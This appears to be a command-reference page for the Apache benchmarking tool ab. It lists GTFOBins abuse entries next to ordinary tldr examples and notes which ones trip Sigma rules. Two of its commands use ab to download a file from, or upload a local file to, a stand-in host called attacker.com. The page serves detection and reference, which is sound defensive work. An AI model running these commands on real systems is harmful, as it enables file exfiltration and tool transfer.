CmdID / Programs / Linux and Unix
ab
Apache HTTP server benchmarking tool. tldr-pages
GTFOBins download, upload 1 ATT&CK technique 2 documented commands
How ab is abused
download T1105 Ingress Tool Transfer
-v2upload
-pEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for ab.
2 documented commands
download unprivileged, with sudo, as SUID
ab -v2 http://attacker.com/path/to/input-fileupload unprivileged, with sudo, as SUID
ab -p /path/to/input-file http://attacker.com/None of the 2 commands CmdID reads trips a Sigma process-creation rule. These commands are from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for ab. CmdID reads the line of each that runs ab.
What detects it
Everyday use
Execute 100 HTTP GET requests to a given URL
ab -n 100 urlIdentifyExecute 100 HTTP GET requests, in concurrent batches of 10, to a URL
ab -n 100 -c 10 urlIdentifyExecute 100 HTTP POST requests to a URL, using a JSON payload from a file
ab -n 100 -T application/json -p path/to/file.json urlIdentifyNone of the 3 examples CmdID reads matches GTFOBins abuse or trips a Sigma process-creation rule.